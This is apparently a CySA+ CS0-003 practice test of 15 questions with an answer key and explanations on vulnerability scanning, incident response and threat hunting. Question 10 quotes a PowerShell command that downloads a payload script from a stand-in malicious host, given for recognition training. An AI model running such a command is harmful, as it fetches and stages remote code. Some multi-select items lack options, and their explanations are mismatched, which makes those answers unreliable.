CS0-003 Practice Test 35 — 15 Questions

Question 1

During a vulnerability scan of an internal web server, the scanner reports a critical vulnerability with a CVSS score of 9.8. The analyst reviews the finding and determines that the vulnerability is mitigated by a Web Application Firewall (WAF) deployed in front of the server. What should the analyst do with this finding?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Document the compensating control and track the finding until patched.. The vulnerability is effectively mitigated by the compensating control (WAF), so it should be documented as such and tracked until the patch is applied.

Answer

Mark the finding as a false positive and close it.

Answer

Immediately patch the server to remove the vulnerability.

Answer

Increase the scan frequency to detect if the vulnerability changes.

Question 2

Which vulnerability scanner is an open-source tool commonly used for network vulnerability scanning?

Accepted Answer

OpenVAS. OpenVAS is a well-known open-source vulnerability scanner.

Answer

Qualys

Answer

Nessus

Answer

Rapid7 InsightVM

Question 3

A company is implementing a vulnerability management program. Which of the following are essential components of a vulnerability management lifecycle? (Choose three.)

Accepted Answer

Vulnerability scanning and assessment.. Vulnerability scanning and assessment is a core component of the vulnerability management lifecycle because it involves actively identifying security weaknesses in systems, applications, and network devices using tools like Nessus or Qualys. This step provides the raw data—CVEs, missing patches, misconfigurations—that drives the entire remediation process. Without regular scanning, the organization cannot maintain an accurate picture of its security posture.

Answer

Penetration testing on all systems.

Answer

Automated patch deployment.

Question 4

A threat hunter is reviewing osquery data from endpoints and notices that the Windows Registry key 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' contains an entry for 'C:\Users\Public\svchost.exe'. Which of the following best describes the significance of this finding?

Accepted Answer

Suggests persistence via a malicious binary masquerading as svchost.exe. The Run key is a common persistence location in the Windows Registry. The entry points to 'C:\Users\Public\svchost.exe', which is suspicious because legitimate svchost.exe resides in C:\Windows\System32 and is never in the Users\Public folder. This strongly suggests a malicious binary masquerading as a legitimate system process to maintain persistence and evade detection.

Answer

Confirms a false positive because svchost.exe is always legitimate

Answer

Indicates a scheduled task has been created

Answer

Indicates a legitimate application installed for all users

Question 5

A security analyst needs to communicate the findings of a penetration test to the IT operations team and the CISO. Which three of the following actions best support effective reporting and communication? (Choose three.)

Accepted Answer

Prioritize findings based on risk to the organization’s mission. Customizing the level of detail for each audience ensures that technical teams receive the operational depth they need (e.g., raw findings, exploit paths) while executives get a high-level summary focused on business risk and strategic impact. This aligns with the principle of audience-aware reporting in penetration testing, where the CISO requires risk context and the IT operations team needs actionable technical details.

Answer

Submit the report as a confidential document without any verbal briefing

Answer

Delay the report until all findings are fully verified with no uncertainty

Answer

Include raw command outputs and exploit code in the executive summary

Question 6

A phishing incident led to credential theft. Which containment actions are appropriate? (Choose two.)

Accepted Answer

Reset affected credentials and revoke active sessions. Immediately resetting compromised credentials and revoking active sessions (e.g., via Microsoft Entra ID 'Revoke-AzureADUserAllRefreshToken' or Active Directory 'Reset-ADAccountPassword' combined with 'Revoke-AuthenticationTokens') invalidates the attacker's access tokens and session cookies, preventing further lateral movement or data exfiltration. This aligns with the NIST SP 800-61 containment phase, which prioritizes cutting off attacker access while preserving forensic evidence.

Answer

Delete all user mailboxes

Answer

Disable DNS for the entire company indefinitely

Question 7

A security analyst is reviewing a vulnerability scan report that includes a plugin output with the following CVSS v3.1 vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H. Which of the following best describes the characteristics of this vulnerability?

Accepted Answer

Requires local access, high attack complexity, high privileges, and user interaction. The vector indicates local attack vector, high complexity, high privileges required, user interaction required, changed scope, and high impact on all three CIA metrics. This suggests a local privilege escalation vulnerability.

Answer

Easily exploitable by an unauthenticated remote attacker

Answer

Requires physical access to exploit

Answer

Remotely exploitable with low complexity

Question 8

A CISO wants a concise incident update during active containment. Which elements should be included? (Choose three.)

Accepted Answer

Containment actions completed and pending. Option B is correct because a concise incident update during active containment must state which containment actions have already been completed and which remain pending, giving leadership a clear picture of the response posture and next steps. Option C is correct because surfacing known decisions or approvals needed (e.g., authorization to isolate a subnet or take a service offline) lets the CISO unblock the team quickly during time-sensitive containment. Option D is correct because current impact and affected services define the business and operational scope of the incident, which is essential for prioritization and stakeholder communication. Option A is not appropriate because dumping every raw log line is excessive detail that defeats the purpose of a concise update; raw logs belong in the technical evidence repository, not an executive incident summary.

Answer

Every raw log line collected so far

Question 9

A vulnerability report is presented to the IT manager. The report lists 15 critical, 40 high, 100 medium, and 200 low vulnerabilities. The IT manager asks which vulnerabilities should be prioritized for remediation. According to the vulnerability report structure, which section should the analyst reference?

Accepted Answer

Findings by severity. The 'Findings by severity' section groups vulnerabilities by their severity ratings (critical, high, medium, low), which directly answers the manager's question about prioritization. Since the report lists counts per severity, this section provides the structured breakdown needed to identify which vulnerabilities to address first. The other sections serve different purposes: executive summary gives a high-level overview, remediation timeline outlines when fixes should occur, and risk acceptance documents decisions to accept certain risks.

Answer

Executive summary

Answer

Remediation timeline

Answer

Risk acceptance

Question 10

An analyst is investigating an EDR alert showing that 'powershell.exe' was launched by 'winword.exe' with the command: 'powershell -Command Invoke-WebRequest -Uri http://malicious.com/payload.ps1 -OutFile C:\Users\Public\payload.ps1'. Which LOLBin technique is being observed?

Accepted Answer

PowerShell download cradle. The attack chain involves a Microsoft Office document (winword.exe) launching PowerShell to download a payload. This is a classic LOLBin technique using PowerShell for code execution and download cradles.

Answer

WMI persistence

Answer

Scheduled task creation

Answer

DLL side-loading

Question 11

Which of the following is the BEST description of configuration drift?

Accepted Answer

The gradual deviation of a system's configuration from the intended baseline. Configuration drift refers to the gradual change in system configurations over time, causing deviations from the baseline or security standards.

Answer

A planned change to a system's configuration

Answer

The process of reverting a system to its baseline configuration

Answer

A vulnerability that is patched and then reappears

Question 12

An analyst is reviewing a Nessus scan report and sees a plugin result that indicates a web application is vulnerable to SQL injection. The plugin output includes the payload used and the database error message. Which OWASP Top 10 category does this vulnerability belong to?

Accepted Answer

A03:2021 – Injection. SQL injection is a classic injection flaw where untrusted input is interpreted as code by the database. In the OWASP Top 10 2021, SQL injection falls under A03:2021 – Injection, which encompasses SQL, NoSQL, OS command, ORM, and LDAP injection. The plugin output showing a payload and database error confirms injection.

Answer

A07:2021 – Identification and Authentication Failures

Answer

A09:2021 – Security Logging and Monitoring Failures

Answer

A01:2021 – Broken Access Control

Question 13

A security operations center (SOC) analyst receives an alert about a potential ransomware infection on a critical server. The incident response team needs to contain the threat quickly. Which of the following should be performed FIRST as a short-term containment measure?

Accepted Answer

Isolate the affected network segment. Short-term containment focuses on immediate isolation to prevent further damage. Isolating the affected network segment stops the ransomware from spreading to other systems.

Answer

Disable the user account associated with the alert

Answer

Run a full antivirus scan on the server

Answer

Rebuild the server from a clean backup

Question 14

An end-user reports receiving an email with an unexpected attachment and urgent language requesting to click a link. Which TWO indicators confirm this is likely a phishing email?

Accepted Answer

Unexpected attachment.. Unexpected attachments are a classic indicator of phishing, as attackers often use them to deliver malware or initiate social engineering attacks. The email's urgent language (Option E) is also correct, as it pressures the recipient to bypass normal security checks and click a malicious link or open the attachment without verifying the sender.

Answer

Personalized greeting using the recipient's name.

Answer

Internal sender address.

Answer

Corporate logo in the email.

Question 15

Which type of threat intelligence report is MOST appropriate for a Chief Information Security Officer (CISO) to understand the overall threat landscape and make strategic decisions?

Accepted Answer

Strategic intelligence. Strategic intelligence provides high-level analysis of threats, trends, and risks that impact business decisions. It is designed for senior management and executives.

Answer

Operational intelligence

Answer

Technical intelligence

Answer

Tactical intelligence